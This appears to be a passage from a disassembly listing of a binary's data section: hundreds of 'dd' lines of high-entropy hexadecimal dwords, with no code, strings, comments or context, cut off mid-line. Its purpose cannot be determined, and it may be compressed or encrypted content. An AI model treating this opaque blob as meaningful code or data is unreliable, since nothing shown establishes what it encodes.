5C92008Eh dd 0AF43EB37h, 47000607h, 4A1F73E1h, 3873F89h, 66690AB4h dd 99000256h, 8E7F524Ch, 9A45Dh, 7974347Eh, 73495562h dd 97A11014h, 803238E0h, 12D09F65h, 0CA516Ah, 0C5CEB449h dd 8A7537BFh, 0C91D1890h, 703044BCh, 3012E2C4h, 4108C54Dh dd 467CA379h, 13C2C61Eh, 475C3706h, 0D67A0110h, 78DC9639h dd 7149D8A2h, 0CADEB000h, 1D534D61h, 0FE77030h, 0E8A7E6DDh dd 0C687D14Eh, 33A097E3h, 80E6F2F9h, 0DF414A0Ch, 5A5923h dd 5B432613h, 6CF112B3h, 49A95160h, 14ECC54Bh, 20E4D0DBh dd 5B138A80h, 832A25FFh, 0FC149C77h, 0AB6066Ah, 0C84146Fh dd 1C900E0Ah, 5B1B2200h, 3016C3CBh, 2068AB6Bh, 9878CAAAh dd 45A38F0Bh, 1FDA0624h, 0A5FE1D6Eh, 0FA910107h, 0D047EA8Ah dd 0CB1CA983h, 0E7007648h, 0BC2AF3B2h, 97B9000Ah, 1303D0B0h dd 6E2FE2Eh, 0AFF87676h, 1C41CB06h, 8F8989D5h, 9BCCC104h dd 0C610808Bh, 4662EF55h, 483B021h, 0A0B3E8AEh, 897881C8h dd 37DEF040h, 51314E1Fh, 970CCA13h, 0F4830E4h, 6FB681C4h dd 0BD285958h, 519EFD30h, 88AD4D34h, 0F615583Eh, 0AC040DFh dd 988EC592h, 0EEF5FC07h, 0B15024C0h, 0CA840016h, 6D1E3DB7h dd 0FA7E4CA5h, 25A2E8A8h, 0B3909206h, 6085763h, 6DD12326h dd 0AC00194Ah, 0B1A0404Ch dd 14EF9D7h, 0E0CE8D9Fh, 0CCFE98CDh, 91094B88h, 83650FA4h dd 0C0648B56h, 0FED4C3E2h, 7AB800D7h, 1B0F3AEBh, 880155BFh dd 0FD24A470h, 10D1C595h, 0D2396983h, 9128420Ch, 89004C8Bh dd 90714EBh, 30A88F98h, 0DA9958Eh, 8446E3Fh, 22BD78C7h dd 13F6FFD0h, 382FCC32h, 20748FD8h, 1AD6F723h, 1E3100EAh dd 399EFBB7h, 0C195C251h, 51805875h, 91D3932Ch, 0EB1DF27Bh dd 0BAC0CA9Eh, 0A6FC5FC0h, 1BA20C37h, 65940D9h, 6A00DCFCh dd 0E0CDCBEAh, 540209h, 0A39371FDh, 0DF51E37Ah, 805FC19Fh dd 0AB0FC180h, 0E05718E8h, 7C92000h, 41DF4999h, 0C724F2A7h dd 63F6C089h, 21F8533Eh, 7F294B4Dh, 0A8069423h, 1518FF7h dd 29F47A8Eh, 612F835Eh, 0F0198071h, 7DAB58FAh, 0CDED000Dh dd 0ED4C9F6h, 4400250Bh, 41C302E0h, 0F2E919AFh, 482200E6h dd 0D6F84D8Bh, 3F3EF6CAh, 910E30C2h, 0D4A5FF75h, 913A3858h dd 35A40078h, 0E0EE5DA6h, 25006D8Bh, 87400877h, 7870A5F0h dd 8E9B0786h, 41E823AFh, 0E2DECFC0h, 8A0FB400h, 609A0080h dd 6D87D9ABh, 0EC0AFEF7h, 0E72BC903h, 4DC03000h, 5C587Eh dd 0F1A6AE64h, 99147D86h, 8003EE39h, 8E30A13Bh, 0F4EDCFh dd 49F6FB35h, 0F37557E8h, 46CCC100h, 0A2229BD6h, 0CB3118FCh dd 382358EEh, 6100D3FCh, 2A1FD972h, 0E826A255h, 0AF21C0D4h dd 8E3CD3ADh, 5703D0F0h, 0BC4467C6h, 0B760D7A3h, 5103EDh dd 7554FF89h, 0CEDCEE29h, 40DF9830h, 0E85AE5Ch, 6B3E3490h dd 80152AA3h, 4F9D4AC8h, 7000077Eh, 35104745h, 6022AAF4h dd 879C38D8h, 28009E19h, 443ADEEEh, 6AAE2D2h, 0CAC9D550h dd 837F2929h, 3B9B1E0Eh, 0B39403A8h, 7C0818A9h, 8FE320D6h dd 0E72F1D00h, 71580799h, 2548CFC9h, 0B0746F06h, 4D967901h dd 0AF5D8587h, 234FD081h, 0EBE493BBh, 645A1000h, 15395227h dd 362200D6h, 98C8B2A0h, 790785ABh, 3AC484D2h, 867A6BA0h dd 605C3B5Ah, 90C5A480h, 0EC6975A1h, 0D28E9E1Eh, 0CBACF440h dd 6AFE5Eh, 0D0737F30h, 6CF22D95h, 0DDEB1A00h, 1EADEE2Eh dd 3B3E3C6Ah, 85EF700h, 17DE1F0Dh, 4F853100h, 95CC6F4Ah dd 0C8ED0F19h, 0EE40BA61h, 6434E63Dh, 3C262B02h, 0C059F45Ah dd 75B248A9h, 16B800C9h, 529AEFDFh, 4900B16Ah, 0E9D7A2E2h dd 30761964h, 1D0E7266h, 881CF8E8h, 90801F29h, 0AA7C585Eh dd 9F340157h, 1AEF0E0Dh, 0B90A80D1h, 542B6188h, 4CD6008Fh dd 7BD856DBh, 5801229Ah, 0E0483A44h, 40A7890Fh, 670389D6h dd 0C0DF0CD9h, 754E2A2h, 2F11DD58h, 156E50FEh, 9700CFB9h dd 0DFD31C35h, 53F29Fh, 0C4C52C8Bh, 8193C35Eh, 0F3DE9700h dd 9EA60632h, 0FE31008Dh, 5120C15Dh, 3E00A24Eh, 8BD83D84h dd 0F6C995h, 44A9CD74h, 0F75AA88h, 0D4C50103h, 0C08BBEE2h dd 0A09FDD59h, 12C8AE1h, 0A715302Ah, 0F8873B40h, 38CE45FEh dd 7CEAE0BEh, 34DCA258h, 0C0504D64h, 1EDB0C13h, 9F1FDA06h dd 5C6955C5h, 8D0EEFE6h, 5400CCA5h, 0C5AF2F22h, 78002A71h dd 3C3E6CA7h, 967310h, 86243146h, 70127142h, 1151E100h dd 801C19CBh, 0BF2B00A2h, 6C24F947h, 67008A95h, 0E344E6C9h dd 766689h, 0F0A7C3B4h, 0BB48521Ch, 95746E74h, 29C4C076h dd 915C648Dh, 0AC0303EFh, 0B0772FE8h, 0F857A0h, 0AACB0918h dd 49D51FE9h, 6FF64175h, 20D7B044h, 0D22590Fh, 47F710CDh dd 0B53B113Ch, 41085221h, 0AF3A00CCh, 3357231Fh, 1534BE00h dd 91B5D288h, 0D71D073Eh, 0F07EE6FCh, 0AD8DD19Ah, 7B92281Fh dd 0C4CD8E40h, 0C5A368h, 0F86E503Fh, 0A917A43Eh, 0E200A07Ch dd 0FEE5D6D7h, 3F08EBCFh, 4F1DBC8Fh, 0CD5F8159h, 0C8544E70h dd 8307C133h, 0BFA1ECE8h, 4177EFC0h, 0FC6D0715h, 0D0E7F305h dd 0E308ABC0h, 49F56826h, 87563400h, 0FC695D4Ch, 59C20088h dd 509E30BFh, 5F00CD82h, 29F01195h, 0E0FBD4F6h, 0BA2F621h dd 0F1E241C6h, 0F40051FCh, 8EB529E4h, 0B0DF0E02h, 35405EBEh dd 2D122227h, 0B17ED2E8h, 83634C07h, 0A6A0A9E2h, 0AD26E4h dd 2E7F3171h, 5C2F04E9h, 4FD0BE00h, 0C473D4DAh, 456A00CCh dd 0A4DDE05Fh, 4D376C71h, 738009F6h, 638A92h, 0BAABCB3Dh dd 0BC7649C5h, 629D0E00h, 58850A1Fh, 34AF00E5h, 7C44E35Eh dd 0D66079D2h, 8BEF0810h, 781D070Bh, 9066046Eh, 11AB77CBh dd 8DBFD100h, 0E6154446h, 241DF88Eh, 5685E2h, 0B565E7F6h dd 35004C8Ch, 0F5315270h, 36AF20h, 0CABED0F4h, 320C83DFh dd 1DB54000h, 0FDE271B8h, 0F75A0797h, 408D2C9Bh, 0CCB1297Ch dd 0D03E400h, 50B8580Ah, 676E0043h, 61EAF66h, 5E1E21A0h dd 590A8B2Eh, 1303CC33h, 900A7B1Bh, 9B096Eh, 115BE39Fh dd 0BA696B59h, 0B8D2EB00h, 0C4BE0839h, 7DDD3CD7h, 81540700h dd 4BC77323h, 82FB9A3Eh, 7BF0750Bh, 0E3344835h, 0FE7D0030h dd 5DB4DD5h, 3270E60Bh, 7BFCB800h, 54825856h, 810630A7h dd 0FD4AC2F8h, 501DEF00h, 0FF76BB0Fh, 0EDB30049h, 691BD9C0h dd 1500F4AEh, 7D4034ABh, 4888B7A3h, 3F08347Bh, 480F3170h dd 22E0C16Ah, 0EE707F87h, 66D09561h, 6D6C5D00h, 0ACF9E2E8h dd 0E6330F9Bh, 9DC01E52h, 0C6B1E7F0h, 0B03AE3FAh, 0DB51002Dh dd 3AB2B837h, 0C0AF0081h, 8EA6B96h, 0D7008F70h, 0FA653EEBh dd 9BB329h, 28CDD2F2h, 5AF0CEF5h, 70874C5Bh, 93694F20h dd 85DE0043h, 17F4C272h, 8F002190h, 0FE655770h, 6D688Ah dd 80919AAFh, 727AFCD8h, 0D700E6FCh, 0E355A15Bh, 12ED063h dd 0DC04A714h, 0C4374071h, 0EE0057EAh, 0DE283BA2h, 7BE5D03h dd 627F9705h, 1EE400B9h, 0F80A355Eh, 903256EFh, 0D4936B02h dd 0E89EE34Fh, 3A461Bh, 92942CEBh, 0E927BB15h, 0E000CDF4h dd 110643EDh, 2B4024h, 0A29E0179h, 5825D01Fh, 6252EF00h dd 0F6CCB330h, 8A0407A0h, 5E20CD3Dh, 287EDF40h, 9103A96Ah dd 4779DB9Ah, 9B3FA31Bh, 0A6180F26h, 1A6022A3h, 0E0CF003h dd 28F58100h, 2693539Fh, 0B2681D42h, 97620095h, 3BCBB0C5h dd 0EE66E200h, 0BC5699CDh, 2CF30173h, 8667187Fh, 544AF882h dd 0C1586B01h, 0AC3D056Ah, 0BC86860h, 0FFCABA9Eh, 4E83D380h dd 0D8005E46h, 9718E4E0h, 3C119Ah, 406B45B5h, 9A877FEh dd 0AF9C2102h, 0C0C297D8h, 621E01h, 3090BE98h, 0B736E135h dd 5B09BB00h, 0BDDB2468h, 0EBD30007h, 30BC01A6h, 25017FF1h dd 8E19201Fh, 9CEC6029h, 81660127h, 0FE0D09C7h, 21836F7Bh dd 46B7F112h, 3F5686F8h, 41FFDCDh, 3738FA11h, 0F83AE100h dd 938D13D3h, 0E4CC90Bh, 36D0807Ah, 7CE835F6h, 9B4B01DCh dd 6874D166h, 4544E486h, 0BC171307h, 0E82059A6h, 31BF827h dd 0B6E9630h, 0C7C0A30Fh, 70002BADh, 0BA03FCD1h, 1ECCE314h dd 0C05E6C3Fh, 0AFB5DEA4h, 2C00AD10h, 2D2E8A63h, 1F8F9BDFh dd 0C3691691h, 1121AC4Ch, 0DD1EB9E0h, 6090D600h, 8BE157F6h dd 0BC9D007Eh, 321DDB21h, 0B0077A9h, 2BB62298h, 9FDB546h dd 27256F5Dh, 53760C01h, 50986155h, 3911F714h, 2CFAB800h dd 208B4392h, 0FE4703C2h, 72131828h, 0B80328E6h, 5F27B038h dd 0C1C89355h, 9DFCA361h, 3EC5015Eh, 921D06F4h, 4ED0421Fh dd 7C349A40h, 0AF9B900h, 0C6765AEFh, 0F6FF621h, 0E7BC0FEAh dd 0C05447A0h, 2500F0E3h, 0C69531EFh, 5C1B946Bh, 3B00FD99h dd 0CD1A815Eh, 2002B99Dh, 0FAC097B8h, 6604824h, 0CCF80074h dd 439516D6h, 0E50069ACh dd 97911E87h, 1D4B63F7h, 0C0998B73h, 3DBAED9Fh, 0A1F94DEh dd 0D980D4C4h, 6BA032A5h, 60B46001h, 86C9CC7Bh, 35EE1200h dd 0DBD74A79h, 5DDA0009h, 7D07B126h, 0B800645Ch, 1EEFCA16h dd 0FC6ECDh, 0BC3C75A4h, 0E4ED9880h, 8B2B4700h, 8F7417C2h dd 7EDB1C88h, 816F9F87h, 9375607Ch, 0D92C423h, 0EC31F300h dd 3CA3E8E1h, 608E393Eh, 0C0D69E1Fh, 16D5EA2Ch, 0EF0E52CEh dd 0BD29DD93h, 90B0CC00h, 4B0743h, 6202DC7Dh, 0A0EDDA89h dd 0A7153200h, 0EE529FF4h, 20100068h, 7C95F2A2h, 9E3839F7h dd 32D4D01Dh, 76932700h, 823558A7h, 33D90053h, 0DCD4C562h dd 393EF3E6h, 8073BC43h, 7C57A7CCh, 0D8D52Ch, 0FB08C75Dh dd 6E4FE41Eh, 9E85C404h, 23401664h, 77F8800Ah, 0ED2EBAE4h dd 4D09A5A1h, 0AE5880E1h, 246C74EAh, 0A703C3h, 96811C31h dd 0FB008CA1h, 4028A467h, 0FA8066A7h, 1E900B0h, 0CF23385h dd 0A3B923Dh, 0B10200F9h, 0A6225D31h, 1DEAA006h, 73B80077h dd 3AF2FAA2h, 7E00FCC0h, 933BE53Ch, 76D1BBDh, 0E3068A71h dd 0DC4FB0A0h, 0B80042BFh, 9B882D55h, 1102E5Ah, 65F10FB4h dd 0EC1EF994h, 2F626C51h, 0DFED3718h, 0BE91C360h, 7F747A1Eh dd 8B35817Fh, 4DBB4480h, 0F823B13Fh, 0FE0028CBh, 55C2A616h dd 0D73C83h, 9801DDA9h, 1EB7E62Fh, 0A661C638h, 470017AEh dd 0C1B65822h, 0AF76034Eh, 280CCC21h, 8016B4A8h, 5DEDC4FFh dd 83615800h, 0D357D16Eh, 1CE62F7Fh, 14260256h, 0E0CA1E00h dd 9BD89Eh, 0F6A5D62Dh, 0C68DB8A7h, 92C72300h, 41964589h dd 7C640F6Ah, 44009C09h, 95F73094h, 9F4AFA03h, 0F76BF90Dh dd 7673007Bh, 7D42EC8h, 0D59CD0F3h, 5C75B0B8h, 850070F0h dd 4404A255h, 9034CF6Dh, 0D0DC00EAh, 7E2C93B4h, 2B00D45Ah dd 79C5EB97h, 0CA7AFF9h, 5BF2529Dh, 0A4399C38h, 81B7BB27h dd 24A676F7h, 26EC6CFCh, 0B08200FEh, 623CC4C1h, 0E80E9139h dd 40D5A505h, 0CB9E7918h, 116B0055h, 783D5BF7h, 4AEA7C0Bh dd 0B6924C00h, 8228FFDAh, 1EE903A9h, 2ED5C84Bh, 43A45E98h dd 1F3A240Eh, 0B749222Bh, 2708C014h, 46E001D3h, 0AD797501h dd 63942024h, 13A89052h, 800F847Dh, 3E11E035h, 15ECA37h dd 0BBAA0DB5h, 0D0690A4Bh, 2002947h, 0CDC11418h, 0A8AEB2h dd 9DD8A777h, 22052BFDh, 80079F3Ch, 0B1406C7Fh, 4859323Dh dd 0AD0158B7h, 22E40271h, 0A23EFC6Ah, 0A187D0FFh, 8F344801h dd 0FACBD15Eh, 497C20h, 0AC451D7Bh, 4B23D31Ch, 9A86E900h dd 10EE9DD6h, 7841076Ch, 705FABDFh, 0D02EE7A8h, 0F1040F0Eh dd 9C9B60DCh, 0CC9069Dh, 857AAAFBh, 69483470h, 0EA8D1D00h dd 4B947E00h, 35E21Eh, 44A2CAFh, 34CE4728h, 5B9BE600h dd 45DFECFAh, 0DC980117h, 529F4A2h, 0CE2149h, 51164CA6h dd 0FD318900h, 0B5BDE785h, 0C43E0F52h, 11400AC7h, 7932ECC9h dd 0BACD5Ch, 0AA8FC529h, 4B4752Dh, 5746104Dh, 0D318C0B7h dd 4A0180C8h, 2951AAB9h, 0BCE4D59Bh, 0EFE00010h, 0CF364875h dd 0BE00CB39h, 0A16EF604h, 0B0072BC1h, 5DBF028Ch, 0ECF2567Ch dd 487E0480h, 0EDB852F4h, 0EB147301h, 611829A0h, 9E60D9F9h dd 1642FABAh, 40816D93h, 0B19B0FC8h, 8007CB14h, 3E721677h dd 266C19C0h, 1B5E1F82h, 0EFB5006Ah, 0DDCE47Bh, 0C4361200h dd 55C3507Eh, 0F3870063h, 8031FCC8h, 667EA9E4h, 590FB18h dd 723EA8h, 0C264B85h, 60D6B85Eh, 47454F00h, 0F6B58180h dd 0B4200B9h, 0BBC2393Fh, 60F5E9A1h, 6B001B07h, 9DE89B37h dd 40F3BBDh, 0BFE67491h, 8D88804Dh, 0E89938A6h, 7BC3DA80h dd 74E4CF6Eh, 0AE4B00BCh, 82CA69E7h, 74001A9Ah, 184726FDh dd 0EC07E4E8h, 0A2DA0157h, 0DEE54551h, 0DDCFE0ABh, 7A59A101h dd 27A5BD1Bh, 462070h, 0A968A875h, 4BED3ACDh, 3E7883Dh dd 0C08B8A2h, 0FDFEC0F5h, 3A040C50h, 2AA0CF6Ah, 0C6E3A800h dd 0C3B9C072h, 994500ABh, 9CA1302Bh, 4C00DABAh, 893C4324h dd 0C0CCF348h, 0E259C0C4h, 450F195h, 0D0005EA0h, 0F2C6A8D1h dd 779701h, 71A76C42h, 16F8A1E6h, 0DB632200h, 1BE451A0h dd 99AF0740h, 0E0756428h, 3F443B91h, 0ED5A200Bh, 0F94D83ACh dd 0ADA00654h, 0F0DCF57Dh, 0BD0EB97Ah, 80BEC01Dh, 0B4EF3451h dd 0F0D9132Ah, 7EC80095h, 59E8E9BFh, 0BAE4491Ch, 0F22C5B81h dd 2BE016EBh, 0DF26092Eh, 1C80217Eh, 311E9A91h, 35D81F09h dd 6AA400C6h, 2816B14h, 5604BF38h, 0AE015E8h, 0F7603E0Fh dd 5FC63D20h, 0FEB11F25h, 0C71DC04Fh, 0AB38CA3Fh, 84FDA424h dd 0E71E1206h, 2C88B056h, 74470B5h, 20D58C22h, 8AADCE61h dd 2A98F462h, 2474E0F1h, 987960C8h, 4A900FAFh, 39F26118h dd 389F5E88h, 7900E9E4h, 0B13CD52Eh, 24036186h, 3605024Fh dd 0B5603F09h, 8F946387h, 796E80AEh, 0D21E5A29h, 0D641209Bh dd 4E037AECh, 5EF441F2h, 48C664E8h, 3900C09Ch, 77014A6h dd 7700167Ah, 0F9E7A9E5h, 775242DEh, 88F2C06Ah, 5F1EDAE8h dd 13CB40BDh, 56913012h, 0DF73C20h, 0FF337B00h, 0EA6E9A3Fh dd 0BCDD0549h, 0E326A2h, 399012D0h, 1D005E93h, 0D46A8A7Dh dd 0E16ECE9h, 4A344201h, 1498A9E0h, 0C42C5C6Ch, 0E81FBCD8h dd 1C6E9105h, 0E0E64E80h, 4FB80073h, 0EF5F84CDh, 0F37C04D1h dd 8035F400h, 99FAAB8Ch, 0CC1100DEh, 0C47D1E03h, 92006D24h dd 0A870134Ah, 0F6C97A01h, 0B0ED002Eh, 9198181Ch, 1102784Bh dd 38FA0D8Bh, 86484024h, 181500EAh, 2F84741Dh, 3F07F5B2h dd 4C39279Ch, 0CDFFD730h, 0D1B817B6h, 2BC8008Dh, 28294852h dd 0D2930700h, 801A67C5h, 0CB12395Ch, 0D8B0FDB9h, 94E04EB8h dd 0BCE6C20Ah, 8E0790A4h, 6580B8F3h, 2970BC9h, 777D3AD1h dd 0DC60FA71h, 0FB00EAE1h, 0CF187FA5h, 71667C2Bh, 7AEEEC06h dd 0ACFAF3h, 99161B5Ah, 4B772505h, 5EFD58h, 68BD2AC1h dd 0F4A46BBh, 0EE139671h, 0B2280201h, 0E0202108h, 0BE241E66h dd 5100445Ah, 1F0AB9DAh, 0D7330C06h, 2F081316h, 0BBB81D02h dd 60DDC0FAh, 7E4CE58Ch, 807001Fh, 5BF1199Bh, 0D003217h dd 3F41CA36h, 4C06C218h, 491C64CCh, 0B4B38A0h, 3400BDD0h dd 3B215675h, 6486FE0h, 12E53AB4h, 0E90F4855h, 40FF002Ah dd 0C7FCBD6h, 0AA72F0B9h, 0D4385119h, 50A7AC3Ah, 24DBDA00h dd 184EA567h, 0CAE68263h, 0E019CF8h, 0C8D7AB49h, 388006h dd 80B50A1Ch, 3693DBDDh, 0C2004C62h, 2041866h, 7424B8h dd 3CCD31A7h, 1F9CC819h, 8A00A2EAh, 0B5162C17h, 1DB1BCF2h dd 0C2A13BE9h, 1F9742F1h, 94BAC4C0h, 3F00AA7Ch, 2D0A3DA9h dd 1F3EA388h, 401DA4C9h, 5EF3280Fh, 2100E9C8h, 5B41940Ch dd 0F1575BDh, 0C512B06Bh, 131A00B6h, 6C59A679h, 6A40AC00h dd 2BDE888Fh, 6B713A3Dh, 6AD3F00h, 0B4265311h, 0C9AE2200h dd 0BF94B14Fh, 4EBC01BDh, 0F11F803Ch, 1C643C79h, 7342C4A3h dd 0E0138B88h, 44AD5Dh, 0ACEC9735h, 6BA3D23Dh, 9B01A97Ch dd 0FB28D62Eh, 37FC32EFh, 8AB074Dh, 4173473Bh, 0E00E43DFh dd 0E0010686h, 0B70F7F8Eh, 0C9D53F96h, 0DAF8F887h, 4BA560BDh dd 16304154h, 0A2B25E50h, 8E100019h, 0B2ADD23h, 4F13C8EBh dd 3400FB59h, 0A07D218Ah, 0DF383020h, 26ED8EF8h, 0E280910Fh dd 3FBC6001h, 0F542DB7h, 14860FA0h, 47D0D447h, 0D88B404Eh dd 39008DAFh, 755F943Fh, 7E2EEEh, 264A960Bh, 234B5CF2h dd 72053A98h, 35B07682h dd 9AB335C7h, 0D280C42Fh, 84A354h, 0FDEADE8Ch, 0FE7B4860h dd 0BA576501h, 13057AF8h, 2159F8h, 2D5CA27Ch, 5FADF527h dd 713A650Fh, 10F62C48h, 7F4C5CC7h, 0BE89007Ch, 0B7050F8Fh dd 0FB1608B4h, 1040CD8Dh, 7FE92A33h, 261A2EFAh, 0C81801CDh dd 648D27C4h, 0EC75E770h, 0A45CD82Eh, 0D603E6C7h, 7210024Bh dd 7E51EF39h, 877D0499h, 0F13B7431h, 4DF041DDh, 84EA069Fh dd 88A6235Eh, 4E5DCCFFh, 0EB5B2500h, 0B56AC28h, 0BFB60944h dd 70012BFFh, 0E0CE2940h, 11C057B4h, 0D998D399h, 6581004Eh dd 0EFB7F3CDh, 8E73D701h, 0AFDB0400h, 0BFF79F20h, 1E4A00A2h dd 48EB5F22h, 0E530FCA7h, 0F2014828h, 6C82E0BFh, 0F578201Ch dd 5B94903h, 83F89C72h, 80CAE243h, 0FBE49D18h, 0D390005Eh dd 0CE340683h, 6B0F8A8Fh, 0E1873F23h, 0B3A8A616h, 0F0AFEEC0h dd 5FDE0C2Ch, 3B18E31Dh, 41B88200h, 9A5C9625h, 0BEE138C6h dd 2199AC80h, 0ED23233h, 4392820Eh, 2ECCC0E7h, 7CD4C6h dd 750CB649h, 18881471h, 6C004CFAh, 0E2DB24E3h, 0DB354h dd 0C153D40Ch, 0C0EE3494h, 32DA9C00h, 3B996AEh, 55F70012h dd 0A297E274h, 32C08966h, 8792B357h, 0DE21011Dh, 5F8A527Fh dd 9439F003h, 800420F4h, 893A5601h, 27C61C90h, 7C57D5Ah dd 316E48DBh, 2092FE4Bh, 5A0F9C2Ch, 0B0A6A700h, 0E9E046E4h dd 19CC1EFCh, 0CF44C05Ch, 7CD1260Ah, 7129AE03h, 0E3AB9EDEh dd 0DA1818DFh, 0A7BC4885h, 7365FA0Ch, 58210A8h, 9CF5CA93h dd 0D9E01F84h, 806C08BCh, 0CABAB121h, 6060CE8Eh, 0FC805646h dd 7462A2D4h, 8C0C860h, 9F9881E4h, 833B1A55h, 0E0B7062Ah dd 89200AABh, 40CC2EDh, 10FDF317h, 8C7EB848h, 0E3C67A3Eh dd 9C7CB48h, 787CE861h, 14B77980h, 0E20075AFh, 0F83EB17Bh dd 337AD93h, 0E5D348F3h, 0CEB80D59h, 0E400CB58h, 0E907D05Fh dd 606D15h, 9ADCED3Dh, 5EF17E98h, 33F07800h, 0C092CE3Ch dd 3FBE5C35h, 45102901h, 0E00C91B8h, 2200CF84h, 9B286B11h dd 48776Dh, 0E64D392Fh, 9319B006h, 0AF003DFEh, 7B013473h dd 0E6E7D65h, 66486FECh, 261EA6C1h, 0B230E8A7h, 3836E100h dd 3F843F4h, 7121001Fh, 2FE3ED13h, 0E416EB3Eh, 7D005479h dd 0EECE6F44h, 932C01C1h, 0DD333C07h, 0AB25C482h, 3E03D00h dd 0B66F7AC8h, 11C900F0h, 437B3833h, 0BA00D8B7h, 0E4C33984h dd 0FD4CC7Ch, 80B5ECCFh, 26783C1h, 61D2E564h, 0ED19F498h dd 0DC2FC400h, 868C911Dh, 6F0500C1h, 0B6EBA828h, 0F3032415h dd 7DAC7633h, 0EF23A18Eh, 692BB06Bh, 8366413Ah, 351588C4h dd 7383C092h, 0E82FF857h, 23B10054h, 3DE97A99h, 2100B69Ch dd 948F8DF1h, 31BE9B74h, 51BC277Fh, 4BCA3036h, 0A35C9677h dd 806B3E87h, 9C992064h, 0FAFC0CE4h, 104531F7h, 1132BA28h dd 98121B66h, 8947A010h, 200208BEh, 0E42266ADh, 214B42F0h dd 88BF1062h, 8D0843C0h, 0C86A121h, 0EC29AEA7h, 3DC211E3h dd 146A5194h, 22647728h, 8722F3A8h, 146E503Fh, 67C6200Bh dd 47517442h, 31122988h, 0DD88AB03h, 0C0BFBCB5h, 56329021h dd 1442D300h, 0E57524C0h, 5B720023h, 0C5A3B8E3h, 32046F3Ah dd 850BF34h, 12985C80h, 8E5F004Fh, 7F370442h, 943A97C4h dd 797C00C9h, 0B8AB69DBh, 25DF009Ah, 47A1DEACh, 5600E6A0h dd 0F99DA8F7h, 90C2Fh, 0CBFE34D5h, 8889080h, 0A9F3E800h dd 3697DA6Ah, 3D827393h, 127201FAh, 0CE5084h, 0C6CC0BA8h dd 0A2009A97h, 9DE283C4h, 5D13B2h, 0FA12084Fh, 3CF2BC2Ah dd 0F426800h, 11C12946h, 67DA03ABh, 0E71AFE77h, 9ED37BC0h dd 0F1E83800h, 1329F36Eh, 25C70FF8h, 4840BD57h, 0F21F0858h dd 0BB7ED000h, 6CFF90C9h, 12650094h, 66A1C3Bh, 0FE00BFA5h dd 0EC66B848h, 1CBB3F32h, 59D8B2h, 0A14A1DC8h, 23075FD9h dd 3AEDCF9Ch, 606BE032h, 398BBE75h, 0B900D01Ah, 0E1F73CD3h dd 741F7BDBh, 59004290h, 9EEF7C1Eh, 10E42Bh, 0E74BD229h dd 75220641h, 8D0B9300h, 76D0956Fh, 5B6733Fh, 1C74790Eh dd 32AE801Bh, 0B907903Eh, 70535C54h, 35E836A0h, 4D2C0B43h dd 65F82568h, 9C4FC00h, 39DA45F1h, 2D670137h, 0C9151372h dd 98A9C4E0h, 0A2034903h, 0B0637457h, 2F8B06h, 0B5EFB928h dd 628504BBh, 9D0C8439h, 0C24CC12h, 806BF080h, 0FE354769h dd 0A7BF0760h, 90144611h, 7443FBA4h, 0BC0389F4h, 0CFEDE3A2h dd 85220049h, 0CAB79EDDh, 2550AA0Ah, 0F03F6ECh, 72B85634h dd 936DA887h, 0AEDC0043h, 61C5E6E3h, 0E9004109h, 9D18A444h dd 0FEF49766h, 614398Ch, 0F9E1EC00h, 913CE46h, 975ACF00h dd 3B6533D6h, 0CB7204D9h, 0D0C5A401h, 0AE69EBDCh, 0BBF32F00h dd 0E37693D4h, 0ED7D05DBh, 0C289C3h, 67717ECh, 2F00E2EBh dd 0C8A66665h, 9723D7Fh, 0FBEA642Bh, 11951400h, 181DAA5Dh dd 7FDE40h, 4E4635ACh, 18C69BDh, 0C156CE8h, 0F485E222h dd 9C0E39D7h, 2077FA0Eh, 92CF7836h, 4EB005Dh, 0A924D562h dd 0A30026CDh, 0F98215A4h, 92A8430h, 27DC903Fh, 81C65B80h dd 2B00C3BBh, 369B6A10h, 84FFCDh, 29C128DDh, 248E68FCh dd 80A4483Dh, 0A0CF5CFDh, 0F174BF3h, 132B61BFh, 0BD8E3400h dd 210047C9h, 3D0EE541h, 68F3E4h, 0B69BB5BFh, 87A73F4Eh dd 0FCEDE100h, 89468392h, 0A0040003h, 0E87A65B4h, 4C0060A2h dd 0AC810955h, 0E90825Ah, 4843949Bh, 0A2FCC4C0h, 0A30717E7h dd 20F1F79Fh, 0D48C5190h, 0E0092E88h, 21760079h, 0C6183204h dd 5213F61Ch, 0FA80125Fh, 0E2ED1F92h, 0CA370FB2h, 0F88F4E38h dd 1820FC06h, 304C0A1Fh, 1022844Ch, 475300C2h, 0C0988BD4h dd 0E101AAB8h, 0BB9591BCh, 0CFDCF0EBh, 2D4A0016h, 7CF5232Fh dd 6F0ED352h, 60205E6Eh, 8BEADC74h, 1D06E247h, 0C0B892F4h dd 0ECC44271h, 0D40013D6h, 0DA5F996Ah, 647B82h, 0F2C5EE79h dd 30D048B3h, 88E839h, 8A7AFAA6h, 33D225h, 906180Ah, 0A998EA36h dd 353C4890h, 0BA238073h, 0C4E1E908h, 0FF6B0049h, 0B80EAFCCh dd 59E6D495h, 35414C1Ch, 0F2282EC4h, 0D08BB980h, 261D7909h dd 30E7EBFh, 0B04DB92Ah, 0A86381CCh, 481E70D4h, 84AB4300h dd 549BC36Fh, 76B753Fh, 26D47DDh, 0B0C2B0E9h, 0E2120946h dd 800A2FAh, 233C7385h, 0E74C01A8h, 619C0D75h, 0AE107027h dd 0F471600h, 94C5E97Ch, 441C01D8h, 185BFE41h, 0C071EDECh dd 6400E82Eh, 0C659628Dh, 90869A42h, 402B0008h, 15F0523Ah dd 1F0020A8h, 0FF8F1833h, 488D19h, 0D1C94B04h, 0F474A940h dd 0A41AA300h, 0A7638492h, 0E8B63DDBh, 3C116A00h, 7179AC14h dd 0E956AB13h, 0E03CD4F8h, 1E080907h, 0F75560CDh, 90009365h dd 0EB01A4B4h, 6002AAh, 8ED65E47h, 5DFF2DC9h, 1CB15C1Eh dd 0D5E25180h, 1D175E6h, 0ECCEFC81h, 2464E34Fh, 59FCA22Ch dd 0F8E4D414h, 0C98C00F0h, 0A3BA37A6h, 2D3B12A9h, 0D0C4009Dh dd 0BB554F1Ch, 0BE3F18C0h, 935008h, 0DE1BBD5Ch, 0A46CE84h dd 12FC700h, 0CC1FE353h, 0B6810773h, 30CFD094h, 91CB6B06h dd 0C98D8700h, 9A05B0F1h, 0F850016h, 50DAC39Fh, 5201F6ADh dd 0FABA17C7h, 78C81857h, 0C96500F5h, 940D3DF0h, 4907BCD9h dd 6AA42997h, 0E8935433h, 798B634Fh, 3B350348h, 9E17785Ah dd 0F73409D9h, 0FDA28081h, 0B8D0F077h, 0C5B73507h, 0D1A0E9D3h dd 1CF6ABBCh, 0C79EAF40h, 37DFE6E5h, 0E3D9F0F5h, 150FADECh dd 0E3458587h dd 0B04AFFA0h, 0E6175AAh, 